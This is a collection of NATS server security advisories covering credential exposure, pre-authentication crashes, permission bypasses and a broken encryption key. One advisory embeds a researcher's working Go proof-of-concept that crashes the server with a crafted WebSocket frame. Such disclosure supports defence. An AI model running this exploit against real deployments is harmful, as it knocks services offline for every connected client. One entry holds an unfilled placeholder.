Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an optional monitoring port, which provides access to sensitive data. The nats-server can take certain configuration options on the command-line instead of requiring a configuration file.

Problem Description

If a nats-server is run with static credentials for all clients provided via argv (the command-line), then those credentials are visible to any user who can see the monitoring port, if that too is enabled.

The /debug/vars end-point contains an unredacted copy of argv.

Patches

Fixed in nats-server 2.12.6 & 2.11.15

Workarounds

The NATS Maintainers are bemused at the concept of someone deploying a real configuration using --pass to avoid a config file, but also enabling monitoring.

Configure credentials inside a configuration file instead of via argv.

Do not enable the monitoring port if using secrets in argv.

Best practice remains to not expose the monitoring port to the Internet, or to untrusted network sources.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.

Problem Description

A client which can connect to the leafnode port can crash the nats-server with a certain malformed message pre-authentication.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

1. Disable leafnode support if not needed. 2. Restrict network connections to your leafnode port, if plausible without compromising the service offered.

References

This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-10.txt> GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-vprv-35vv-q339> MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33218>

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a WebSockets client service, used in deployments where browsers are the NATS clients.

Problem Description

A malicious client which can connect to the WebSockets port can cause unbounded memory use in the nats-server before authentication; this requires sending a corresponding amount of data.

This is a milder variant of NATS-advisory-ID 2026-02 (aka CVE-2026-27571; GHSA-qrvq-68c2-7grw). That earlier issue was a compression bomb, this vulnerability is not. Attacks against this new issue thus require significant client bandwidth.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

Disable websockets if not required for project deployment.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

Problem Description

For MQTT deployments using usercodes/passwords: MQTT passwords are incorrectly classified as a non-authenticating identity statement (JWT) and exposed via monitoring endpoints.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

Ensure monitoring end-points are adequately secured.

Best practice remains to not expose the monitoring endpoint to the Internet or other untrusted network users.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

Problem Description

When using ACLs on message subjects, these ACLs were not applied in the $MQTT.> namespace, allowing MQTT clients to bypass ACL checks for MQTT subjects.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When configured to accept leafnode connections (for a hub/spoke topology of multiple nats-servers), then the default configuration allows for negotiating compression; a malicious remote NATS server can trigger a server panic via that compression.

Problem Description

If the nats-server has the "leafnode" configuration enabled (not default), then anyone who can connect can crash the nats-server by triggering a panic. This happens pre-authentication and requires that compression be enabled (which it is, by default, when leafnodes are used).

Context: a NATS server can form various clustering topologies, including local clusters, and superclusters of clusters, but leafnodes allow for separate administrative domains to link together with limited data communication; eg, a server in a moving vehicle might use a local leafnode for agents to connect to, and sync up to a central service as and when available. The leafnode configuration here is where the central server allows other NATS servers to connect into it, almost like regular NATS clients. Documentation examples typically use port 7422 for leafnode communications.

Affected Versions

Version 2, prior to v2.11.14 or v2.12.5

Workarounds

Disable compression on the leafnode port:

leafnodes { port: 7422 compression: off }

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.

Problem Description

A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.

Affected versions

Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.

Solution

Upgrade the NATS server to a fixed version.

Credits

This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.

-----

Report by @Mistz1

Summary

An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).

Details

Vulnerable code: server/websocket.go line 278

go r.rem = int(binary.BigEndian.Uint64(tmpBuf))

When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.

Attack chain:

1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).

2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).

3. r.rem is now negative. At line 307–311, the bounds clamp fails:

go n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC

The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.

4. There is no defer recover() anywhere in the goroutine chain: - startGoRoutine: go func() { f() }() — no recovery - readLoop: defer only does cleanup — no recovery

The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.

5. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.

Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.

PoC

Server configuration (test-ws.conf): listen: 127.0.0.1:4222

websocket { listen: "127.0.0.1:9222" notls: true }

Start the server: bash nats-server -c test-ws.conf

Exploit (pocwscrash.go): go package main

import ( "bufio" "encoding/binary" "fmt" "net" "net/http" "os" "time" )

func main() { target := "127.0.0.1:9222" if len(os.Args) > 1 { target = os.Args[1] }

fmt.Printf("[] Connecting to %s...\n", target) conn, err := net.DialTimeout("tcp", target, 5time.Second) if err != nil { fmt.Printf("[-] Connection failed: %v\n", err) os.Exit(1) } defer conn.Close()

// WebSocket upgrade req, := http.NewRequest("GET", "http://"+target, nil) req.Header.Set("Upgrade", "websocket") req.Header.Set("Connection", "Upgrade") req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==") req.Header.Set("Sec-WebSocket-Version", "13") req.Header.Set("Sec-WebSocket-Protocol", "nats") req.Write(conn)

conn.SetReadDeadline(time.Now().Add(5 time.Second)) resp, err := http.ReadResponse(bufio.NewReader(conn), req) if err != nil || resp.StatusCode != 101 { fmt.Printf("[-] Upgrade failed\n") os.Exit(1) } fmt.Println("[+] WebSocket established") conn.SetReadDeadline(time.Time{})

// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte frame := make([]byte, 15) frame[0] = 0x82 // FIN + Binary frame[1] = 0xFF // MASK + 127 (64-bit length) binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set frame[10] = 0xDE // Mask key frame[11] = 0xAD frame[12] = 0xBE frame[13] = 0xEF frame[14] = 0x41 // 1 payload byte

fmt.Printf("[] Sending: %x\n", frame) conn.Write(frame)

time.Sleep(2 time.Second)

// Verify crash conn2, err := net.DialTimeout("tcp", target, 3time.Second) if err != nil { fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed") os.Exit(0) } conn2.Close() fmt.Println("[-] Server still running") }

Run: bash go build -o pocwscrash pocwscrash.go ./pocwscrash

Observed server output before termination: panic: runtime error: slice bounds out of range [:-9223372036854775793]

goroutine 13 [running]: github.com/nats-io/nats-server/v2/server.(client).wsRead(...) server/websocket.go:311 +0xa93 github.com/nats-io/nats-server/v2/server.(client).readLoop(...) server/client.go:1434 +0x768 github.com/nats-io/nats-server/v2/server.(Server).startGoRoutine.func1() server/server.go:4078 +0x32

Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.

Impact

Vulnerability type: Pre-authentication remote denial of service (full process crash).

Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.

Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.

Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.

( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.8, message trace destination checks were applied to ordinary client connections but not consistently to messages arriving through leafnode connections, allowing a leafnode operator to send trace events to subjects that would not otherwise be permitted and to use trace-only behavior to prevent normal delivery or storage of affected messages. This issue is fixed in versions 2.14.3 and 2.12.8.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, when noauthuser was configured, a parser fast path intended for ordinary client connections could also apply to route or leafnode listeners, allowing an unauthenticated peer to bypass inter-server CONNECT authentication and operate with the privileges associated with that connection type. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user could receive messages on denied subjects when a wildcard subscription overlapped with a configured wildcard deny rule but was not a subset of it, and queue subscriptions could also affect delivery to legitimate queue consumers. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.0, 2.12.7, and 2.11.16, an authenticated user with subscription deny permissions could bypass a plain subject deny rule by using a queue subscription, because queue-specific deny evaluation could override the plain subject deny result when the queue name itself was not denied. This issue is fixed in versions 2.14.0, 2.12.7, and 2.11.16.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.12.8 and 2.11.17, an unauthenticated peer with network access to a leafnode listener with compression enabled could crash the server during the pre-authentication leafnode handshake by sending repeated leafnode INFO protocol messages before authentication and account setup completed. This issue is fixed in versions 2.12.8 and 2.11.17.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, an authenticated MQTT client could subscribe to the internal $MQTT.deliver.pubrel subject family, bypassing configured subscribe permissions and exposing MQTT QoS2 protocol metadata for sessions in the account. This issue is fixed in versions 2.14.3 and 2.12.12.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.1 and 2.12.9, an MQTT client could include protocol control characters in subscription filters that were later forwarded as NATS protocol data to route or leafnode connections, corrupting the forwarded protocol stream and allowing injection of unintended NATS protocol operations. This issue is fixed in versions 2.14.1 and 2.12.9.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, an unauthenticated MQTT client could cause the server to retain large incomplete MQTT CONNECT packets before authentication completed, consuming server memory while the parser waited for the advertised MQTT packet length. This issue is fixed in versions 2.14.3 and 2.12.12.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, MQTT retained message delivery and QoS1+ durable replay could deliver messages whose original topics matched a subscriber configured subscribe deny rule because these delivery paths did not consistently recheck the concrete original topic before sending the MQTT PUBLISH to the subscriber. This issue is fixed in versions 2.14.3 and 2.12.12.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client able to send account-scoped connection monitoring requests could crash the server by supplying Connz pagination Offset and Limit values that overflowed internal arithmetic before the response window was safely bounded. This issue is fixed in versions 2.14.3 and 2.12.12.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a WebSocket listener could route requests for the MQTT-over-WebSocket path into MQTT handling even when MQTT was not configured, allowing an unauthenticated client with access to the WebSocket listener to reach uninitialized MQTT state and crash the server process. This issue is fixed in versions 2.14.3 and 2.12.12.

NATS Server is a high-performance server for NATS.io, the cloud and edge native messaging system. Prior to 2.14.3 and 2.12.12, a client could be registered as the configured noauthuser through a parser path used when the first client operation was not CONNECT, bypassing user-level connection restrictions such as allowedconnectiontypes or proxyrequired that normal authentication would apply. This issue is fixed in versions 2.14.3 and 2.12.12.

Impact

The WebSockets handling of NATS messages handles compressed messages via the WebSockets negotiated compression. The implementation bound the memory size of a NATS message but did not independently bound the memory consumption of the memory stream when constructing a NATS message which might then fail validation for size reasons.

An attacker can use a compression bomb to cause excessive memory consumption, often resulting in the operating system terminating the server process.

The use of compression is negotiated before authentication, so this does not require valid NATS credentials to exploit.

The fix was to bounds the decompression to fail once the message was too large, instead of continuing on.

Patches

This was released in nats-server without being highlighted as a security issue. It should have been, this was an oversight. Per the NATS security policy, because this does not require a valid user, it is CVE-worthy.

This was fixed in the v2.11 series with v2.11.12 and in the v2.12 series with v2.12.3.

Workarounds

This only affects deployments which use WebSockets and which expose the network port to untrusted end-points.

References

This was reported to the NATS maintainers by Pavel Kohout of Aisle Research (www.aisle.com).

(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2021-3127.txt>)

Problem Description

The NATS server provides for Subjects which are namespaced by Account; all Subjects are supposed to be private to an account, with an Export/Import system used to grant cross-account access to some Subjects. Some Exports are public, such that anyone can import the relevant subjects, and some Exports are private, such that the Import requires a token JWT to prove permission.

The JWT library's validation of the bindings in the Import Token incorrectly warned on mismatches, instead of outright rejecting the token.

As a result, any account can take an Import token used by any other account and re-use it for themselves because the binding to the importing account is not rejected, and use it to import any Subject from the Exporting account, not just the Subject referenced in the Import Token.

The NATS account-server system treats account JWTs as semi-public information, such that an attacker can easily enumerate all account JWTs and retrieve all Import Tokens from those account JWTs.

The CVE identifier should cover the JWT library repair and the nats-server containing the fixed JWT library, and any other application depending upon the fixed JWT library.

Affected versions

JWT library

all versions prior to 2.0.1 fixed after nats-io/jwt#149 landed (2021-03-14)

NATS Server

Version 2 prior to 2.2.0 + 2.0.0 through and including 2.1.9 are vulnerable fixed with nats-io/nats-server@423b79440c (2021-03-14)

Impact

In deployments with untrusted accounts able to update the Account Server with imports, a malicious account can access any Subject from an account which provides Exported Subjects.

Abuse of this facility requires the malicious actor to upload their tampered Account JWT to the Account Server, providing the service operator with a data-store which can be scanned for signs of abuse.

Workaround

Deny access to clients to update their account JWT in the account server.

Solution

Upgrade the JWT dependency in any application using it.

Upgrade the NATS server if using NATS Accounts (with private Exports; Account owners can create those at any time though).

Audit all accounts JWTs to scan for exploit attempts; a Python script to audit the accounts can be found at <https://gist.github.com/philpennock/09d49524ad98043ff11d8a40c2bb0d5a>.

An integer overflow in NATS Server before 2.0.2 allows a remote attacker to crash the server by sending a crafted request. If authentication is enabled, then the remote attacker must have first authenticated.

This affects all versions of package github.com/nats-io/nats-server/server. Untrusted accounts are able to crash the server using configs that represent a service export/import cycles. Disclaimer from the maintainers - Running a NATS service which is exposed to untrusted users presents a heightened risk. Any remote execution flaw or equivalent seriousness, or denial-of-service by unauthenticated users, will lead to prompt releases by the NATS maintainers. Fixes for denial of service issues with no threat of remote execution, when limited to account holders, are likely to just be committed to the main development branch with no special attention. Those who are running such services are encouraged to build regularly from git.

(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2022-24450.txt>)

Problem Description

NATS nats-server through 2022-02-04 has Incorrect Access Control, with unchecked ability for clients to authorize into any account, because of a coding error in a long-extant experimental feature.

A client crafting the initial protocol-level handshake could, with valid credentials for any account, specify a target account and switch into it immediately. This includes any other tenant, and includes the System account which controls nats-server core operations.

For deployments not using multi-tenancy through NATS Accounts, there is still a vulnerability: normal users are able to choose to be in the System account.

An experimental feature to provide dynamically provisioned sandbox accounts was designed to allow a server administrator to turn on an option to allow clients to dynamically request a brand new account inline at connection time. This feature went nowhere, but lived on in the code and was used by a number of tests; support was never added to any client libraries or to the documentation.

A bug in handling the feature meant that if someone did in fact have valid account credentials, then they could specify any other existing account and they would be assigned into that account.

Release 2.7.2 of nats-server removes the feature. Because of the lack of client support and absence from protocol documentation, we feel this is safe operationally as well as the safest fix for the code.

Affected versions

NATS Server All 2.x versions up to and including 2.7.1. Fixed with nats-io/nats-server: 2.7.2 NATS Server 1.x did not have accounts. Docker image: nats <https://hub.docker.com//nats>

NATS Streaming Server All versions embedding affected NATS Server: + Affected: v0.15.0 up to and including v0.24.0 + Fixed with nats-io/nats-streaming-server: 0.24.1 Docker image: nats-streaming <https://hub.docker.com//nats-streaming>

Impact

Existing users could act in any account, including the System account.

Workaround

None.

Solution

Upgrade the NATS server.

NATS nats-server before 2.7.4 allows Directory Traversal (with write access) via an element in a ZIP archive for JetStream streams. nats-streaming-server before 0.24.3 is also affected.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The cryptographic key handling library, nkeys, recently gained support for encryption, not just for signing/authentication. This is used in nats-server 2.10 (Sep 2023) and newer for authentication callouts.

Problem Description

The nkeys library's "xkeys" encryption handling logic mistakenly passed an array by value into an internal function, where the function mutated that buffer to populate the encryption key to use. As a result, all encryption was actually to an all-zeros key.

This affects encryption only, not signing. FIXME: FILL IN IMPACT ON NATS-SERVER AUTH CALLOUT SECURITY.

Affected versions

nkeys Go library: 0.4.0 up to and including 0.4.5 Fixed with nats-io/nkeys: 0.4.6

NATS Server: 2.10.0 up to and including 2.10.3 Fixed with nats-io/nats-server: 2.10.4

Solution

Upgrade the nats-server. For any application handling auth callouts in Go, if using the nkeys library, update the dependency, recompile and deploy that in lockstep.

Credits

Problem reported by Quentin Matillat (GitHub @tinou98).

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers. NATS messages can have headers.

Problem Description

The nats-server offers a Nats-Request-Info: message header, providing information about a request. This is supposed to provide enough information to allow for account/user identification, such that NATS clients could make their own decisions on how to trust a message, provided that they trust the nats-server as a broker.

A leafnode connecting to a nats-server is not fully trusted unless the system account is bridged too. Thus identity claims should not have propagated unchecked.

Thus NATS clients relying upon the Nats-Request-Info: header could be spoofed.

Does not directly affect the nats-server itself, but the CVSS Confidentiality and Integrity scores are based upon what a hypothetical client might choose to do with this NATS header.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server supports telemetry on messages, using the per-message NATS headers.

Problem Description

A valid client which uses message tracing headers can indicate that the trace messages can be sent to an arbitrary valid subject, including those to which the client does not have publish permission.

The payload is a valid trace message and not chosen by the attacker.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

One authentication model supported is mTLS, deriving the NATS client identity from properties of the TLS Client Certificate.

Problem Description

When using mTLS for client identity, with verifyandmap to derive a NATS identity from the client certificate's Subject DN, certain patterns of RDN would not be correctly enforced, allowing for authentication bypass.

This does require a valid certificate from a CA already trusted for client certificates, and DN naming patterns which the NATS maintainers consider highly unlikely.

So this is an unlikely attack. Nonetheless, administrators who have been very sophisticated in their DN construction patterns might conceivably be impacted.

Affected Versions

Fixed in nats-server 2.12.6 & 2.11.15

Workarounds

Developers should review their CA issuing practices.

Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a Nats-Request-Info: message header, providing information about a request.

Problem Description

The NATS message header Nats-Request-Info: is supposed to be a guarantee of identity by the NATS server, but the stripping of this header from inbound messages was not fully effective.

An attacker with valid credentials for any regular client interface could thus spoof their identity to services which rely upon this header.

Affected Versions

Any version before v2.12.6 or v2.11.15

Workarounds

None.